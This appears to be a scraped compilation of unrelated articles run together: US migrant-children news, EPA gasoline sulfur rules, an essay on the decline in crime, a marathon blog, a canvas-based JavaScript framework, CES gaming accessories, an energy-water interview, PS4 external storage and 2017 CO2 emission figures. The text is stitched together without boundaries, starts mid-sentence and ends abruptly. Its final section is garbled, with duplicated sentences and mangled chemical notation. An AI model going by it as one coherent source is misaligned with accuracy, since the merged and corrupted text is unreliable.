Peterloo Massacre in 1819 when the king’s cavalry charged into a crowd of 60,000-80,000 people who had gathered peacefully to demand parliamentary reform. In December 2016, a time capsule was buried here, the contents of which will provide a snapshot of life in Manchester for future generations.

U.S. needs 'to do right' for immigrant children: official WASHINGTON (Reuters) - A top U.S. official said on Sunday the U.S. border is not open to illegal entry into the country, but acknowledged the government does need to be sensitive to the tens of thousands of migrant children flowing into detention centers. More than 52,000 unaccompanied minors from Guatemala, El Salvador and Honduras have been caught trying to sneak over the U.S.-Mexico border since October, double the number from the same period the year before. Thousands more have been apprehended with parents or other adults. "We have to do right by the children, but at the end of the day, our border is not open to illegal migration and we will stem the tide," Jeh Johnson, the U.S. Secretary of Homeland Security, said on NBC's "Meet the Press" on Sunday. Johnson said that the government administers deportation proceedings to illegal migrants seized at the border, including children. But he added that the government is looking at being more flexible toward the children seized at the border. "We are looking at ways to create additional options for dealing with the children, in particular, consistent with our laws and our values," Johnson said. Johnson repeated the stance, taken by President Barack Obama last week, that the president would take executive action to revamp the U.S. immigration system. "There are a number of things the president and I, within the confines of existing law, can do to fix the broken immigration system. If Congress doesn't act, we will," Johnson said. Johnson would not answer a question on the Sunday show pertaining to whether the U.S. government would deport the current wave of Central American children, saying only that U.S. authorities would stem the tide, and that deportation processes are commenced against illegal immigrants. U.S. immigration officials say the crisis is being driven by a mix of extreme poverty, gangs and drug violence in Central America, as well as rumors perpetuated by human smugglers that children who reach the U.S. border will be allowed to stay. Critics say that the Obama administration has not moved quickly enough to address the problem. Representative Henry Cuellar, a Democrat whose congressional district includes a stretch of the Texas-Mexico border, said on CNN's "State of the Union" program that 48,000 people, including 9,700 children traveling without parents, were detained on the Texas border in May. "We should have been ready for this surge," he said. "The administration should have been ready ... They should have seen this coming a long time ago." Idaho Representative Raul Labrador, a Republican, said the U.S. needs to take a strong stance against what is happening at border facilities. "The thing that the administration needs to do is immediately deport these families, these children. I know it sounds harsh, I know it sounds difficult, but they're creating a crisis that's going to harm these children," he said on "Meet the Press." Labrador added that the frustration building up is because the administration is doing nothing about border security. (Reporting by Michael Flaherty; Editing by Jim Loney and Frances Kerry)

FILE - In this July 10, 2012 file photo, Suzanne Meredith, of Walpole, Mass., gases up her car at a Gulf station in Brookline, Mass. Reducing sulfur in gasoline and tightening emissions standards on cars beginning in 2017, as the Obama administration is proposing, would come with costs as well as rewards. (AP Photo/Steven Senne, File) WASHINGTON (AP) — Reducing sulfur in gasoline and tightening emissions standards on cars beginning in 2017, as the Obama administration is proposing, would come with costs as well as rewards. The cost at the pump for cleaner air across the country could be less than a penny or as high as 9 cents a gallon, depending on who is providing the estimate. An oil industry study says the proposed rule being unveiled Friday by the administration could increase gasoline prices by 6 cents to 9 cents a gallon. The Environmental Protection Agency estimates an increase of less than a penny and an additional $130 to the cost of a vehicle in 2025. The EPA is quick to add that the change aimed at cleaning up gasoline and automobile emissions would yield billions of dollars in health benefits by 2030 by slashing smog- and soot-forming pollution. Still, the oil industry, Republicans and some Democrats have pressed the EPA to delay the rule, citing higher costs. Environmentalists hailed the proposal as potentially the most significant in President Barack Obama's second term. The so-called Tier 3 standards would reduce sulfur in gasoline by more than 60 percent and reduce nitrogen oxides by 80 percent, by expanding across the country a standard already in place in California. For states, the regulation would make it easier to comply with health-based standards for the main ingredient in smog and soot. For automakers, the regulation allows them to sell the same autos in all 50 states. The Obama administration already has moved to clean up motor vehicles by adopting rules that will double fuel efficiency and putting in place the first standards to reduce the pollution from cars and trucks blamed for global warming. "We know of no other air pollution control strategy that can achieve such substantial, cost-effective and immediate emission reductions," said Bill Becker, executive director of the National Association of Clean Air Agencies. Becker said the rule would reduce pollution equal to taking 33 million cars off the road. But the head of American Fuel and Petrochemical Manufacturers, Charles Drevna, said in an interview Thursday that the refiners' group was still unclear on the motives behind the agency's regulation, since refining companies already have spent $10 billion to reduce sulfur by 90 percent. The additional cuts, while smaller, will cost just as much, Drevna said, and the energy needed for the additional refining actually could increase carbon pollution by 1 percent to 2 percent. "I haven't seen an EPA rule on fuels that has come out since 1995 that hasn't said it would cost only a penny or two more," Drevna said. A study commissioned by the American Petroleum Institute estimated that lowering the sulfur in gasoline would add 6 cents to 9 cents a gallon to refiners' manufacturing costs, an increase that likely would be passed on to consumers at the pump. The EPA estimate of less than 1 cent is also an additional manufacturing cost and likely to be passed on. A senior administration official said Thursday that only 16 of 111 refineries would need to invest in major equipment to meet the new standards, which could be final by the end of this year. Of the remaining refineries, 29 already are meeting the standards because they are selling cleaner fuel in California or other countries, and 66 would have to make modifications. The official spoke on condition of anonymity because the rule was still undergoing White House budget office review. ___ Follow Dina Cappiello on Twitter: https://twitter.com/dinacappiello

THE Old Town in Tallinn, the capital of Estonia, does not look like a den of thieves. On a summer afternoon, herds of elderly tourists—American, Japanese, British—wander between the gift shops and sip lagers at pavement cafés beneath the gothic town hall. In a park, teenagers chat and smoke cigarettes in the sun. Valdo Pôder, a local police officer, remembers when it was quite different. In the mid-1990s curtains rose at the city’s theatres at six o’clock so that the audience could get home before sunset. Young men hung around selling bootleg vodka. The streetlights were always smashed. Pointing to one smart-looking bar Mr Pôder says he would have needed a team of at least ten officers to raid it. “We’d have to put everyone inside on the floor,” he says. “Or else we might get shot at.” Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. Crime in Estonia has fallen precipitously. Since 1995, the country’s murder rate has dropped by 70%, and robbery and car theft have fallen almost as far. Even as the country entered a deep recession in 2009, which pushed unemployment up to 19%, the crime rate kept falling. But though the magnitude of this trend sets post-Soviet Estonia apart, its direction does not. Across the developed world, the crime wave that began in the 1950s is in broad retreat (see chart 1). Both police records (which underestimate some types of crime) and surveys of victims (which should not, but are not as regularly available a source of data) show crime against the person and against property falling over the past ten years in most rich countries. In America the fall began around 1991; in Britain it began around 1995, though the murder rate followed only in the mid-2000s. In France, property crime rose until 2001—but it has fallen by a third since. Some crimes are all but disappearing. In 1997, some 400,000 cars were reported stolen in England and Wales: in 2012, just 86,000. Once upon a time in America Cities have seen the greatest progress. The number of violent crimes has fallen by 32% since 1990 across America as a whole; in the biggest cities, it has fallen by 64%. In New York, the area around Times Square on 42nd Street, where pornographers once mingled with muggers, is now a family oriented tourist trap. On London’s housing estates, children play in concrete corridors once used by heroin addicts to shoot up. In Tallinn you can walk home from the theatre unmolested as late as you like. What is behind this spectacular and widespread improvement? Demographic trends are an obvious factor. The baby-boom in the decades after the second world war created a bubble in the 16- to 24-year-old population a couple of decades later, and most crimes are committed by men of that age. That bubble is now long deflated. In most Western countries, the population is ageing, often quite fast. But demographics are not everything. Mark Simmons, a deputy assistant commissioner for the Metropolitan Police in London, points out that the number of 18- to 24-year-old men in the city has been increasing in recent years, and yet the decline in crime has continued. The sheer magnitude of the improvement in places such as New York and Los Angeles, where the incidence of some crimes has fallen by as much as 90%, cannot be explained just by a young-person deficit. Steven Levitt, an economist at the University of Chicago, has argued that the legalisation of abortion in the 1970s cut America’s crime rate by reducing the number of children growing up in inner-city poverty and thus predisposed to criminality. But that cannot explain why rates have kept falling long after such an effect should have tapered off, or why crime rates in Britain, where abortion has been legal for longer, began falling later. Jessica Wolpaw Reyes, an American researcher, has argued that the cognitive effects of exposure to lead were a primary determinant of violent crime, and unleaded petrol is to thank for the improvement. But the causal link is far from proven. Could more criminals being locked up be the answer? The number of people behind bars has grown substantially in many countries over the past 20 years. In Britain the prison population doubled between 1993 and 2012; in Australia and America, it almost doubled. But several countries, including Canada, the Netherlands and Estonia, have reduced their prison populations without seeing any spike in crime; so too have some American states such as New York, where crime rates have fallen fastest. Prison takes existing criminals off the streets. But in many places, the drop in crime seems to be down to people not becoming criminals in the first place. Between 2007 and 2012 the number of people convicted of an offence for the first time in Britain fell by 44%. Better policing is a more convincing explanation than bigger prisons: the expectation of being caught undoubtedly deters criminals. In New York and Los Angeles, where crime has fallen further and faster than almost anywhere, Bill Bratton, a former police chief of both cities, is often credited for the turnaround. Partly, that is thanks to higher standards. Today’s LAPD is a far cry from the racist, corrupt and scandal-ridden force of the 1990s. But tactics have also changed. Hot fuzz A combination of officers talking to the people whose neighbourhoods they police and intensive targeting of crime “hotspots” has transformed the way streets are protected. In the 1990s, Mr Bratton embraced data-driven “CompStat” policing, targeting the most blighted districts with huge numbers of officers. The biggest subsequent crime drops were extremely localised: for example, in the area around Canal Street in Lower Manhattan, the murder rate fell from 29 per 100,000 residents in 1990 to around 1.5 by 2009. According to Lawrence Sherman, a criminologist at the University of Cambridge, such tactics have now worked in places as different as Sweden and Trinidad and Tobago. In Chicago, where crime has been slower to fall than elsewhere, local politicians this year thanked hotspot methods for the lowest murder rate in half a century. Technology has improved the effectiveness of detective work too. The advent of DNA testing, mobile-phone location and surveillance cameras—which have spread rapidly, especially in Britain—have all increased the risk of getting caught. Some broad social changes have probably helped. In most countries young people are increasingly sober and well behaved. They are more likely to live with their parents and to be in higher education—across the European Union 28% of adults aged 25-34 still live at home. In Britain, the current generation of 18- to 24-year-olds is a lot less likely to have tried an illegal drug or to drink than those ten years older were at their age, and the same is true in most European countries. In most countries wife-beating has become more stigmatised and less common: since 1994, self-reported domestic violence has fallen by three-quarters in Britain and two-thirds in America. In America, the end of the crack-cocaine epidemic in the 1990s is widely credited with reducing crime. In Europe, the explosion in heroin use that accompanied the high unemployment of the 1980s has largely receded, even though hard economic times are back. Junkies are older and fewer; in Rotterdam, there is now a state-sponsored hostel for elderly heroin addicts. A lot of people in the rich world still take illegal drugs, but they tend to be drugs that they pay for out of what they earn, not what they steal. The repopulation of inner cities is probably also a help. A middle-class exodus to the suburbs of the 1950s and 1960s often left behind inner cities blighted by derelict properties and concentrated poverty. George Kelling, the American criminologist who first developed the idea that seemingly small signs of dereliction—such as broken windows—can encourage more significant criminality, points out that inner-centre neighbourhoods such as Harlem in New York, or Amsterdam’s Nieuwmarkt district, have been reclaimed by the well-off. The windows have been mended. Gentrifiers may not always be popular, but they set up neighbourhood watch meetings, clean up empty spaces and lobby politicians to take crime more seriously. They may be a consequence of falling crime that lowers crime further. The last category of explanations is perhaps the most intriguing: that criminals simply have fewer opportunities. Jan van Dijk, a criminologist based at Tilburg University in the Netherlands, points out that in the 1950s and 1960s millions of people across the Western world acquired cars, televisions, record players, jewellery and so on for the first time; rich pickings for those who would steal them. In the decades since, those same people have added burglar alarms, window locks and safe deposit boxes. Between 1995 and 2011, the proportion of British households with burglar alarms increased by half, to 29%. And some things once worth stealing from people’s homes have become less valuable. There is little point in burgling a house to steal a DVD player worth $30. Bellman and true Shops have invested heavily in security, installing clever gates and tags to deter shoplifters and employing ever more guards. In fact, private security is booming in many places. The number of guards employed in Europe has increased by 90% over the past decade, and they now outnumber police officers. Security vans are now harder to knock off and are often followed by police cars. Fewer businesses handle lots of cash. Those that do keep less on the premises. Armed robbery has been particularly hard hit by reduced opportunities. In 1950s London, professional criminals—often ex-servicemen—used explosives to crack the safes of factories and banks. When safes toughened up, the hard men moved on to holding up banks. As banks put up shutters and alarms, bulletproof partitions and surveillance cameras, they turned to robbing less secure building societies. By the 1990s it was betting shops and off-licences (liquor stores). Now there are few armed robberies at all. As Roger Matthews of the University of Kent puts it: “You might make a thousand pounds and you’ll get caught. What’s the point?” Armed robbery may have fallen for another reason too: robbers typically relied on stolen cars for their getaways. But thanks to central locking, alarms and circuitry immune to hot-wiring, stealing a car is far harder than it was. In New York City the annual number of car thefts has fallen by 93% over the past 20 years. According to Graham Farrell, of Simon Fraser University in Canada, reducing car theft may have had broader knock-on effects than just restricting getaway options. Stealing a car for a joyride used to be a “gateway crime”, which would lead teenagers on to other crimes; now such escalation is restricted to Grand Theft Auto games (which, at least one study suggests, may themselves be reducing crime by keeping feisty young men occupied). Not all crime is falling. Sexual offences, which often go unrecorded, may be becoming more or less common. Bank fraud, money-wire scams and trade in personal information may well have a lot of growth potential. Organised crime may be less violent in the rich world, but it is still a scourge in many places. Even in countries where crime overall continues to decline rapidly, such as Britain, certain types of property crime—such as pickpocketing and shoplifting—have risen with unemployment (the lure of mobile phones, not yet as hard to steal as cars, doubtless plays a role). Violent crime recently ticked up ever so slightly in the United States, and is rising in a few other places, such as France. And in many places police numbers are now falling, which may bode ill if policing has done a lot to drive down crime. But the sheer scale of the drop—and its broad persistence in the face of the deepest economic depression in a century—make a new crime wave seem unlikely. Policing is still improving; heroin and crack-cocaine consumption continue to fall; and no one is likely to reintroduce lead into petrol. The period of rising crime from the 1950s through to the 1980s looks increasingly like an historical anomaly. There are still criminals, but there are ever fewer of them and they are getting older. When the global economy recovers, there will be fewer still. In Tallinn, the police are having to come to terms with the implications of lower crime. “Nowadays we have a new problem,” jokes Priit Pärkna, one of the local police chiefs. “If we want to arrest someone, we need much more evidence than we did.” At the moment, he is worried about the pickpockets that the city’s new-found tourist trade attracts. As problems brought on by progress go, it is not the worst.

This year, I started out with a goal of running a marathon (half, full, ultra and everything in between) every month. The first part of the year was more focused on bumping the miles so I could run the Big Basin 50K. The later part of the year was sustaining that with as many 50K’s or marathons as my schedule would allow. I’m a happy-go-lucky mid-pack runner, though every now and then I finish in the top 10%. Running a marathon, I used to think was all legs and there’s some truth to it. But I think it’s more than that. Running a Marathon I’ll categorize my runs in four ways. First is the explorative, like when I’m doing a route as part of the Bay Area Trail Running series. This involves charting a route, using Strava to map it out, taking pictures along the way, etc. Second is for fun, which is simply getting out on a trail or going for a run with friends with no pace, time target or training in mind. Third is intervals, which are short focused fast runs as I describe in three ways to increase running stamina. And that brings me to the fourth one, racing. Once you build up your endurance to run 15 to 20 miles at a comfortable pace, I think two things happen. First your body is obviously conditioned to take on that distance. Second and an important one at that, is you become very aware of the needs of your body. When to push it, when to back off, what and when to eat/drink, what to carry, etc. And this is a never ending learning process that has nothing to do with just your legs. My wife calls it PRS (pre-race stress), but I do tend to get a little too obsessive before a race. I have a Nathan 20oz hand-held, an Amphipod waist and an SJ Ultra Vest and the choice of what I carry really depends on the elevation profile, location of the aid stations and the weather on the day of the race. Lately, I’ve become very picky about going as light as I can and getting away with it. If I’m running a marathon organized by Inside Trail Racing, for example, I don’t have to carry any Clif Shot Gels or Succeed S Caps, since I know they have ’em at the aid station. I also take the time to make a cheat sheet, a hand-drawn map of aid-stations overlaid on the elevation profile to break the run into shorter segments. I visualize a fair bit and mentally map the climbs to other familiar runs (though this strategy didn’t quite work at the Berkeley Trail Adventure 50K). I know I’m only racing the course and myself, but running a marathon is a personal challenge, to see if I can learn something about myself and to improve a little. And lastly, almost without fail, I write a race report immediately after, trying to remember as much detail as I possibly can. It’s the post-mortem, to assess what, if any, went wrong, lessons learned and things to improve for a subsequent race. Maybe elite runners don’t have PRS, but for a late-bloomer, mere-mortal, mid-pack runner like me? I find this preparation insanely helpful to get to the finish line in one piece while still smiling. Not to mention how gratifying it is to see the week long strategy play out during the race. Most of the time. Related blogs that you might like: Do you obsess over these things in prep for running a marathon? How do you prepare?

SproutCore has always been an interesting project. It is the application framework behind Apple’s impressive iCloud apps, and the MobileMe ones before that, as well as many other high profile projects. The SproutCore view layer has gone through many revisions. At one point it used Ruby templates combined with CSS, and then it switched to a JavaScript only system, which still used embedded HTML and CSS to layout and construct views. Erich Ocean, a SproutCore contributor since the early days, and others have been hard at work on a new fork of the SproutCore project called Blossom, which reimagines the view layer without the use of any HTML or CSS. How does it do this? It renders the entire view structure of your application on a giant HTML5 canvas element. Perhaps this seems crazy, but it has quite a few benefits over traditional HTML and CSS. Firstly, it abstracts all browser differences away at the lowest level and makes more complex views that were not possible or very difficult to create with HTML and CSS much more manageable. Once this has been abstracted, building views on top of it can be much easier for both application developers as well as framework authors, leading to better, more maintainable applications. Secondly, it’s fast. Modifying the DOM is about the slowest thing you can do in the browser, and unfortunately it’s probably the most common as well. There are some performance issues with drawing everything to one huge canvas, so they have separate canvas contexts for each view that then get composited back together at the final step in rendering using drawImage. This style is akin to the way Core Animation works in Apple’s Cocoa framework, and in fact, GPU accelerated 3D transitions are possible in Blossom as well. Obviously, when not rendering to HTML and CSS, you have to manage everything yourself, from hit testing of views, to all the nuances of text handling including all the platform native keyboard shortcuts. This isn’t the first time we’ve seen an attempt to create an entirely canvas based view pipeline, but it certainly the most ambitious. Back in 2009 when Dion Almaer and Ben Galbraith were working at Mozilla on the Bespin code editor (now Ace), they also started work on a framework they called Thunderhead, which worked like this. Ultimately, they didn’t get too far on it, so Blossom seems to be the next step in proving if this approach is viable. Of course, Blossom is a fork of the original SproutCore project, and so it brings over all the foundation frameworks that underly it including the famous support for bindings and observers that have now made the other more lightweight fork of SproutCore, Ember.js popular as well. It also contains the datastore frameworks as well as some new build tools written entirely in JavaScript using Node.js. The number one question people ask about creating applications in canvas is about accessibility. Screen readers don’t know what’s going on within a canvas element, but luckily, the framework can take advantage of WAI ARIA by embedding a DOM subtree inside the canvas element specifically to enable this, however nothing is rendered via this DOM and it is invisible to the user. I’ve long thought that JavaScript needed an API to directly communicate with assistive technologies, and perhaps frameworks like this will shed light on a use case for that. So how does this perform on mobile browsers? Unfortunately, the answer is not so well, so mobile browsers are unsupported. However, Blossom does have another strategy for mobile, which is to package up the applications as native iOS and Android apps. This doesn’t mean simply wrapping the application in a WebView and shipping. For performance reasons, and since the canvas API is easily reproducible on these platforms, all rendering will use the native rendering pipeline on those platforms. This is the result of not having any DOM to worry about, all you need is a JS engine, and seems like it could be pretty cool! As for desktop browsers, Blossom will run on all modern browsers supporting the canvas element, which in practice means everything except IE8 and below. IE9 is not currently working (IE10 is), but there is no reason why it couldn’t in the future. SproutCore has turned into many things, and there are now at least 3 different frameworks based directly on it. The original SproutCore 1.x line is still in use at Apple and many other places, but SproutCore 2.0, now Ember.js is perhaps gaining even more traction as a lightweight version of the framework with only the most powerful features baked in. Blossom joins the party, staying much more heavyweight than say Ember, but also containing a lot more features and a powerful view layer for desktop-class applications in the browser - SproutCore’s original goal. Blossom has just reached beta status and if you were a hardcore SproutCore 1.x developer you should definitely check it out. There is also lots of cool code to read in the Blossom repo on Github, and some demos to check out if you install it on your own machine. A full release for end users is scheduled for May at JSConf. There’s lots of cool stuff coming down the pipeline for Blossom, including a Cassowary constraint solver that will be useful for layout, so we’ll be watching for sure!

Hardware developer CTA’s kiosk featured an array of third-party Playstation, Playstation Move™, Wii, DSi and Kinect peripherals on the CES floor, from induction charge stations to gun controller and bowling ball modifications. CTA’s product lineup suggested a willingness to take risks. While the concept of induction chargers isn’t a brand new one, CTA is releasing a line that mixes up the formula. Their Nintendo branded unit charges Wii remotes, as well as a DS, their PS3 focused unit charges 3 and includes external USB battery-packs that both allow for induction charging and extend play lifetime. CTA is also developing several peripherals for the Kinect, designed mostly to make interaction easier. These included a playing mat with distinct zones for the solo or first and second player, and a plastic prototype for a handheld steering wheel. The Brooklyn-based developer specializes in online retail aimed at the US market. Trauben’s Impressions Some of the products on display here were kind of interesting. It seems an interesting statement on playing the Kinect that what amounts to specially-designed models serve as peripherals for it, while WiiMote and Move™ peripherals are housings built around the basic controller. The induction charger was a neat idea. I’m new to those. Huneycutt’s Impressions CTA’s biggest strength is its ability to unapologetically hurl itself at fun. Their products, from their Wii Bowling Ball to their line of their replica Gun controllers for the PS3 shows a gleeful design aesthetic with little concern for any criticism that their products may attract. And while some of their products aren’t of the highest-order of build quality, they’re an energetic and pleasant group of people who have an obvious love of their line, and that’s to be lauded. The fully-functional PS3 Gun Controller is a very different way to play an FPS, and their chargers are in many ways a curve ball: while its the same product, and achieves the same end, the means are subtly different. The inflatable Kart its unabashed fun, if unnecessary and a little impractical. But ultimately, that’s what makes CTA fun and interesting, and there are far worse things to be. And at the end of the day, all I really have to say is . . . inflatable Jet Ski for Wii. That’s right, I dropped that bomb. I cannot WAIT for a review copy of that. Check back at www.pixelatedgeek.com for updates of CTA’s product line!

Where Two Big Thirsts Collide: The Nexus of Energy and Water By Terrence Henry Email Tweet Photo by Terrence Henry/StateImpact Texas A Conversation with Michael Webber We’ve arrived in the dog days of summer in Texas, when air conditioners across the state stretch our power supplies thin. It’s also dry: the state is in a third year of drought, with reservoir levels at 63 percent full overall, down significantly from a year ago. In short, Texas needs more water and more power, and the two are highly dependent on each other. Where those thirsts for more power and water collide is referred to as the ‘Energy-Water Nexus,’ and it’s a subject University of Texas at Austin professor and Deputy Director of the UT Energy Institute Michael Webber has spent a lot of time on. “Energy uses a lot of water, and water uses a lot of energy, and this fact is surprising for a lot of people, just how much they use of both,” Webber says. For instance, energy needs water to grow biofuels, drill and produce oil and gas, cool power plants and power hydroelectic dams, Webber says. And water needs energy to be heated, treated, cleaned and moved. Getting water cleaned up and into our homes makes up over 12 percent of our nation’s energy use, Webber says. We sat down with Webber to talk about these issues in advance of a lecture in Austin Tuesday, August 6 about “The Global Nexus of Energy and Water.” The talk is free and open to the public, at 5:45 pm at the AT&T Conference Center. (More details here.) Q: So energy needs water, and water needs energy, and I would imagine that this nexus is even more pronounced here in Texas. A: These days in Texas, it seems like we’re worried about the grid being on edge. We’re worried about drought, and these things sort of play into each other’s hands in a bad way. As we have more drought, we have less water available for our dams to make electricity, we also have less water available for cooling our power plants. And as that water gets hot from heat waves, water is less effective as a coolant, and so the power plants perform with lower efficiency. So a water strain or water constraint becomes an energy constraint, so it’s true also that if you have an energy constraint – if you have a power outage or a rolling blackout, your water infrastructure might be hindered as well. So the energy-water nexus means they rely on each other, and that means — bad news — they inherit each other’s vulnerabilities. A constraint in one becomes a constraint in the other. There’s several things going on over the last few years as we’ve had massive droughts and massive heat waves, which is power plants that never felt vulnerable now feel vulnerable and they might not have the water they need. So they go to great effort to get the water by piping it long distances, or by cutting down trees around the reservoirs so they get more cooling of the reservoir and less evaporation they hope. Or other sort of tricks of the trade to keep the water in hand to keep the power plants operating, sometimes turning the power plants off at night or curtailing them during the day if you need to. So that strain is already in place and has been for a couple years. And we’re feeling it more than ever because a lot of these water rights allocations were made decades ago before our population boomed so much. Q: Let’s tackle maybe one major slice of this issue: the power plants. If you were to reduce water use by power plants, what are some of the solutions there? A: There are a couple different ways to reduce water use at power plants. There’s technology switching, you could switch to cooling tower designs or you could switch to more efficient power cycles, maybe better turbines or controls, that kind of thing. As your power plants are more efficient, they have less waste heat and they need less cooling. So you could do technology switching, or you could also do fuel switching. In Texas, this is particularly interesting. Coal power plants use about twice as much water per kilowatt hour of electricity that’s generated, compared to a new, modern, efficient, natural gas combined-cycle plant. So if you go to a natural gas combined-cycle system that’s relatively new instead of a relatively old and less efficient coal system, then you can save a lot of water there, at least in terms of consumption at the power plant for cooling. Q: I think an immediate concern that comes up when you hear that is cost. And one of the things that you’ve argued is that we don’t pay enough for water, and that we get it too cheaply, and it leads to these inefficiencies. A: One of the things I complain about in energy and water is that they’re too cheap, and in particular water is too cheap. There’s a human right to water, and that human right to water has expanded into a sense of ‘Water should be infinitely available, perfectly clean, and free or cheap.’ And that creates all sorts of weird behaviors, where large water users who don’t have to pay for the water because they paid for it maybe 100 years ago, or 50 years ago, don’t have an incentive to conserve. We tend to conserve things that are valuable or expensive, and while water is valuable, it’s not expensive. Sometimes it’s cheaper to waste it than to pay for the expensive water-saving equipment that might conserve it. So that’s one of the challenges, that we have highly dysfunctional water markets, or no water markets at all, and therefore a water price signal that does not inspire conservation. Q: It’s interesting, because it seems like we’re looking at fewer and fewer supplies of water, less and less clean water. The water that we want to get, it’s expensive to get to, and we don’t value it enough. But just five years ago, we were reading articles about Peak Oil, but the paradigm has really shifted rather rapidly with that. Now there’s talk of Peak Water — is there any chance of a similar, unexpected shift happening with water? A: One of the things we see in the world of resources is that our long-term ability to predict trends is spectacularly bad. So we were convinced we were running out oil in the seventies, and then we weren’t, but prices went up, and we’ve had these various predictions at various times. The latest one being peak oil and gas. But now we’ve got a shot in the arm of at least a decade or two of abundant gas reserves from shale formations in just the Barnett Shale alone. So now the sort of new view about energy abundance, and then the same concepts are translating over to water, do we have Peak Water? Well really, no, water is different. Water is a closed hydrologic cycle. We really never get rid of the water, we just move it around. But the moving around has consequences, because we move it to locations that are further away or we move it to a form or quality that’s less acceptable or less convenient. And the consequence is energy. We have to spend energy to move it closer in quality or closer in location to what we need it for. And so our water shifts have this energy implication that we have to be ready for. And because energy is available in a different way maybe the water will be as well, and maybe there’s an analogy in the energy world for water. Where, for many decades, we had this degraded energy resource beneath our feet, shale, and we didn’t think it was economically feasible, or technically feasible, or environmentally responsible to get, and now we’re finding that it actually is economically feasible, it is technically feasible, and in some ways it is an environmentally preferred solution if that cleaner gas displaces dirtier coal. So maybe there’s the same lesson with the ocean under our feet of all that dirty brackish water we have in Texas. It’s not the kind we want to drink, but it’s abundant, it’s there, and it’s not technically feasible or economically feasible to extract. But if we integrate wind power or solar power in West Texas with all the brackish water, maybe we can get that brackish water cleaned in a cheap way and an environmentally responsible way to change the story. So who knows? Maybe our brackish water resource today is just what shale was a decade ago. Q: It seems like there’s a lot of decisions to be made here at the larger policy level. But what about the individual? How could they reduce their role in the energy-water nexus? A: There’s a lot individuals can do to conserve energy and conserve water. We have more power over this than we think. There’s 315 million stakeholders in America making decisions about energy and water, and there are a couple easy options we can do. First of all, the most energy-intensive water is the treated, clean, drinking water that we heat in our home. So if you want to save a lot of energy, save the heated water. Shorter hot showers, more efficient dishwashers, more efficient washers, that kind of thing. And surprisingly, saving that heated water is a pathway to saving energy. That’s one of the good news bits about the energy-water nexus: saving water saves energy, saving energy saves water. In fact, the irony is if you want to save water, saving energy is a cheaper, faster, way to do it, and if you want to save energy, saving water is a cheaper, faster, way to do it. In our homes, we spend an incredible amount of energy heating our water and that’s sort of ironic given that we have so many photons and so much sunshine that will heat the water for us for free. And so an easy option for those homes that have rooftops that are not shaded is to get solar water heaters installed. My household had its solar water heater installed in the ‘80s, and it’s still working great and it saves us a ton of money and it helps reduce our energy consumption overall. It works great. So that’s an easy solution, an easy option for a lot of people. We can also reduce how much water we use on our lawns. Especially how much treated drinking water we use on our lawns. Lawns are particularly thirsty — well over half our water usage is for irrigation, generally. And so getting different strains of grass, less grass, watering it with something like rainwater we collect or reclaimed water instead of fresh, treated drinking water is a way to save a lot of energy and water. Then if we turn off our lights and things in our homes, we can save water at the power plants. We use more water through our light switches than our faucets, and that’s a surprise for many people. So just turning off your light switches and reducing your energy consumption in the home will be a pathway to saving water as well. In Texas, we care a lot about energy and water. We make a lot of money from energy and we feel like we don’t have enough water all the time. And these water issues in particular become interesting in times of drought or heat wave, and if we think we’ll never have a drought or heat wave again we probably can quit worrying about it. But in Texas, we tend to have these a lot. Michael Marks provided transcription. This interview was edited for clarity and content.

One of the features that PlayStation owners have asking about for years is the ability to expand their console storage with an external USB drive. Now, with the upcoming System Software 4.5, that feature has finally become a reality. It’s been stated that the external drive can be up to 8TB, so we ordered the cheapest drive that we could find, the cheapest that “felt comfortable” for this use that is. At $209, the Dollar per Gigabyte is quite affordable and it’s externally powered as well which keeps from drawing power from your PS4. Here are the 4 and 8 Terabyte versions of the drive that we recommend, and for this test we obviously had to take it to the limit, so we’re testing the 8TB drive. Recommended 8TB Drive Recommended 4TB Drive The tests were performed on a PlayStation 4 Pro with a 2TB drive installed internally. The toughest part of this whole process was actually finding which menu had the option to set the drive up for use. Once I found it, the entire process took all of five minutes. – In the PS4 Settings menu, go to “Devices” and then to “USB Storage Devices” – You’ll see the new drive listed, so select it. On the next screen, click on “Format as Extended Storage” – Select “Next” – Select “Format” *For the 8TB drive, formatting took less than five minutes* – Click “OK” – Tada! Here’s what I’ve learned so far about what you can and can’t do with this additional storage:

Record high CO2 emissions delay global peak 2 2 2 In 2017, CO 2 emissions from fossil fuels and industry are projected to grow by 2% (0.8% to 3%). This follows three years of nearly no growth (2014-2016). (GDP to rise 3.6% according to IMF figures). emissions from fossil fuels and industry are projected to grow by 2% (0.8% to 3%). This follows three years of nearly no growth (2014-2016). (GDP to rise 3.6% according to IMF figures). Global CO 2 emissions from all human activities are set to reach 41 billion tonnes (41 Gt CO 2 ) by the end of 2017. Meanwhile emissions from fossil fuels are set to reach 37 Gt CO 2 - a record high. emissions from all human activities are set to reach 41 billion tonnes (41 Gt CO ) by the end of 2017. Meanwhile emissions from fossil fuels are set to reach 37 Gt CO - a record high. China's emissions are projected to grow by 3.5% (0.7% to 5.4%), driven by a rise in coal consumption (GDP up 6.8%). India's emissions are projected to grow by just 2 % (0.2% to 3.8%) - down from over 6% per year during the last decade (GDP up 6.7%). US emissions are projected to decline by -0.4%(-2.7% to +1.9%), with coal consumption projected to rise slightly (GDP up 2.2%). EU emissions are tentatively projected to decline -0.2% (-2% to +1.6%), a smaller decline than the previous decade (GDP up 2.3%). CO 2 emissions decreased in the presence of growing economic activity in 22 countries representing 20 per cent of global emissions. emissions decreased in the presence of growing economic activity in 22 countries representing 20 per cent of global emissions. Renewable energy has increased rapidly at 14% per year over the last five years - albeit from a very low base. Atmospheric CO 2 concentration reached 403 parts per million in 2016, and is expected to increase by 2.5 ppm in 2017. -end- Related Climate Change Reading: Global carbon emissions are on the rise again in 2017 after three years of little-to-no growth, according to researchers at the University of East Anglia and the Global Carbon Project.It was previously hoped that emissions might soon reach their peak after three stable years, so the new projection for 2017 is an unwelcome message for policy makers and delegates at the UN Climate Change Conference (COP 23) in Bonn this week.The research, published today simultaneously in the journals, Earth System Science Data Discussions and Environmental Research Letters, reveals that global emissions from all human activities will reach 41 billion tonnes in 2017, following a projected 2% rise in burning fossil fuels.The figures point to China as the main cause of the renewed growth in fossil emissions - with a projected growth of 3.5%.COemissions are expected to decline by 0.4% in the US and 0.2% in the EU, smaller declines than during the previous decade.Increases in coal use in China and the US are expected this year, reversing their decreases since 2013.Lead researcher Prof Corinne Le Quéré, director of the Tyndall Centre for Climate Change Research at UEA, said: "Global COemissions appear to be going up strongly once again after a three year stable period. This is very disappointing."With global COemissions from human activities estimated at 41 billion tonnes for 2017, time is running out on our ability to keep warming well below 2ºC let alone 1.5ºC."This 